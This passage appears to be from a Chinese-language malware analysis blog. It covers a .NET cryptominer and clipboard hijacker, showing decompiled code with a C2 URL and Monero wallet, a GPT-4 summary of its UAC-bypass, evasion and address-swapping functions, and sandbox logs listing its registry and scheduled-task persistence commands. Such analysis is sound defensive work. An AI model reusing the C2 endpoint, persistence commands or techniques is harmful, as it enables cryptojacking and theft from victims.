                {
                    string[] array4 = text3.Split(new char[]
                    {
                        ';'
                    });
                    string text4 = array4[0].Equals("Update") ? "upd" : "dwl";
                    string text5 = array4[1];
                    string text6 = array4[2];
                    array2[num4] = string.Concat(new string[]
                    {
                        text4,
                        ";",
                        text5,
                        ";",
                        text6
                    });
                }
                catch (Exception)
                {
                }
                num4++;
            }
            return array2;
        }
 
        // Token: 0x0400001B RID: 27
        private static string adm = "http://f0702521.xsph.ru/cmd.php";
    }
}

好了，使用GPT4综合分析下：

1. config 类：这个类主要用于存储配置信息，包括各种钱包地址、矿池地址、工作名、互斥量、文件名、注册名等。这些配置信息可能会被其他类或方法使用。

internal class config

{

public static string moneroUsage = "25";

public static string moneroWallet = "8BEkM3VeZHUQgFevjUBjpYKHKtfbMS9xKMEnWezdD2Rp4BAcsASXFPV6sWYbDU3N1jgPcERvcqUSfLtD6EQiR3AtB2LGDjj";

// 其他配置信息...

}

2. Host 类：这个类主要用于网络请求和获取系统信息。get 方法用于发送网络请求并获取响应，getTasks 方法用于获取系统的显卡信息和挖矿任务。

internal class Host

{

public static string get(string url)

{

// 发送网络请求并获取响应...

}

public static string[] getTasks()

{

// 获取系统的显卡信息和挖矿任务...

}

private static string adm = "http://f0702521.xsph.ru/cmd.php";

}

总的来说，这两个类可能是某种挖矿软件的一部分，用于配置挖矿参数和执行挖矿任务！

Program 类是一个主程序类，它包含了一些方法用于执行特定的操作。这个类可能是某种恶意软件的一部分，具体功能如下：

1. UMutexAC 方法：创建一个互斥量，用于防止程序的多个实例同时运行。

2. Defolt 方法：尝试以管理员权限运行程序。

3. Main 方法：这是程序的入口点，它执行了一系列的操作，包括删除和复制文件，创建互斥量，检查是否有管理员权限，如果没有则创建计划任务以获取权限，检查是否在沙箱或调试器中运行，如果是则退出，启动挖矿进程，检查剪贴板中的内容，如果是特定格式的地址则替换为预设的地址。

4. Powershell 方法：执行Powershell命令。

5. UAC 方法：尝试绕过用户账户控制(UAC)，获取管理员权限。

6. AlwaysNotify 类：检查系统的UAC设置，如果设置为总是通知，则退出程序。

7. Clipboard 类：获取和设置剪贴板的内容。

8. PE 类：执行PE文件的加载和运行。

看下微步沙箱的结果：

共分析了23个进程
1b3adf.exe
（PID：3260）
"C:\tmpejxdxt\1b3adf.exe"
powershell.exe
（PID：3436）
"powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'winupdate' -Value '"C:\Users\Admin\AppData\Roaming\Windows\winupdate.exe"' -PropertyType 'String'
opersystem.exe
（PID：3592）
"C:\Users\Admin\AppData\Roaming\Windows\opersystem.exe"
wscript.exe
（PID：3704）
"C:\Windows\System32\WScript.exe" "C:\Portnet\9LUf7xQNOlUBbNUxzKuIYqFs7hpLD.vbe"
cmd.exe
（PID：3864）
C:\Windows\system32\cmd.exe /c ""C:\Portnet\GkY25ZfqKtEhI7it2.bat" "
Agentprovidercomponent.exe
（PID：3940）
"C:\Portnet\Agentprovidercomponent.exe"
schtasks.exe
（PID：2296）
schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 10 /tr "'C:\py\1b3adf.exe'" /f
schtasks.exe
（PID：2524）
schtasks.exe /create /tn "1b3adf" /sc ONLOGON /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f
schtasks.exe
（PID：2692）
schtasks.exe /create /tn "1b3adf1" /sc MINUTE /mo 14 /tr "'C:\py\1b3adf.exe'" /rl HIGHEST /f
schtasks.exe
（PID：2944）
schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 6 /tr "'C:\Windows\Tasks\WeChat.exe'" /f
schtasks.exe
（PID：2888）
schtasks.exe /create /tn "WeChat" /sc ONLOGON /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f
schtasks.exe
（PID：3048）
schtasks.exe /create /tn "WeChatW" /sc MINUTE /mo 8 /tr "'C:\Windows\Tasks\WeChat.exe'" /rl HIGHEST /f
schtasks.exe
（PID：2348）
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /f
schtasks.exe
（PID：3388）
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f
1b3adf.exe
（PID：3556）
C:\py\1b3adf.exe
schtasks.exe
（PID：3740）
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft.NET\lsm.exe'" /rl HIGHEST /f
WeChat.exe
（PID：3516）
C:\Windows\Tasks\WeChat.exe
schtasks.exe
（PID：3796）
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\py\cmd.exe'" /f
schtasks.exe
（PID：856）
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\py\cmd.exe'" /rl HIGHEST /f
schtasks.exe
（PID：2440）
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\py\cmd.exe'" /rl HIGHEST /f
schtasks.exe
（PID：2488）
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\py\Idle.exe'" /f
lsm.exe
（PID：2984）
"C:\Program Files\Microsoft.NET\lsm.exe"
schtasks.exe
（PID：2856）
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\py\Idle.exe'" /rl HIGHEST /f

追下该PE文件的来源：　　

就是下面的出处了：

// Token: 0x06004272 RID: 17010 RVA: 0x000F61C0 File Offset: 0x000F43C0
        [SecuritySafeCritical]
        public static Assembly GetEntryAssembly()
        {
            AppDomainManager appDomainManager = AppDomain.CurrentDomain.DomainManager;
            if (appDomainManager == null)
            {
                appDomainManager = new AppDomainManager();
            }
            return appDomainManager.EntryAssembly;
        }